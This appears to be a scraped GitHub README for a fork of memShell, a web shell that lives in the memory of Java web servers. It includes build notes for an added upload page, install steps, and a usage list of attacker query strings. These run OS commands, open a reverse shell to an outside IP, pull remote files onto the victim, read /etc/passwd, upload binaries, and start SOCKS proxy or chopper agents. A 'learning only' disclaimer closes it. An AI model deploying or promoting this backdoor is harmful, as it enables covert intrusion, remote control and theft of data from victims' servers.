Thanks to visit codestin.com
Credit goes to github.com

Skip to content
 
 

Latest commit

 

History

19 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

memShell のフォークほしくなった機能を追加していく

  • ファイルアップロード用のページの追加 binupload

agent.jarに対して機能追加をする。
コンパイル+source.txtの書き換え後、agent/net を 上書きする。
inject.jarはそのまま使用する。

"C:\Program Files\Java\jdk1.8.0_202\bin\jar.exe" cvfm agent.jar META-INF\MANIFEST.MF .

memShell

a webshell resides in the memory of java web server

install

  • unzip memShell.zip
  • cd memShell
  • java -jar inject.jar

usage

  • anyurl?pass_the_world=pass //show this help page.
  • anyurl?pass_the_world=pass&model=exec&cmd=whoami //run os command.
  • anyurl?pass_the_world=pass&model=connectback&ip=8.8.8.8&port=51 //reverse a shell back to 8.8.8.8 on port 51.
  • anyurl?pass_the_world=pass&model=urldownload&url=http://xxx.com/test.pdf&path=/tmp/test.pdf //download a remote file via the victim's network directly.
  • anyurl?pass_the_world=pass&model=list[del|show]&path=/etc/passwd //list,delete,show the specified path or file.
  • anyurl?pass_the_world=pass&model=download&path=/etc/passwd //download the specified file on the victim's disk.
  • anyurl?pass_the_world=pass&model=upload&path=/tmp/a.elf&content=this_is_content[&type=b] //upload a text file or a base64 encoded binary file to the victim's disk.
  • anyurl?pass_the_world=pass&model=proxy //start a socks proxy server on the victim.
  • anyurl?pass_the_world=pass&model=chopper //start a chopper server agent on the victim.

!!!It is recommended to use the POST method to submit data.

note

For learning exchanges only, do not use for illegal purposes.by rebeyond.

About

a webshell resides in the memory of java web server

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages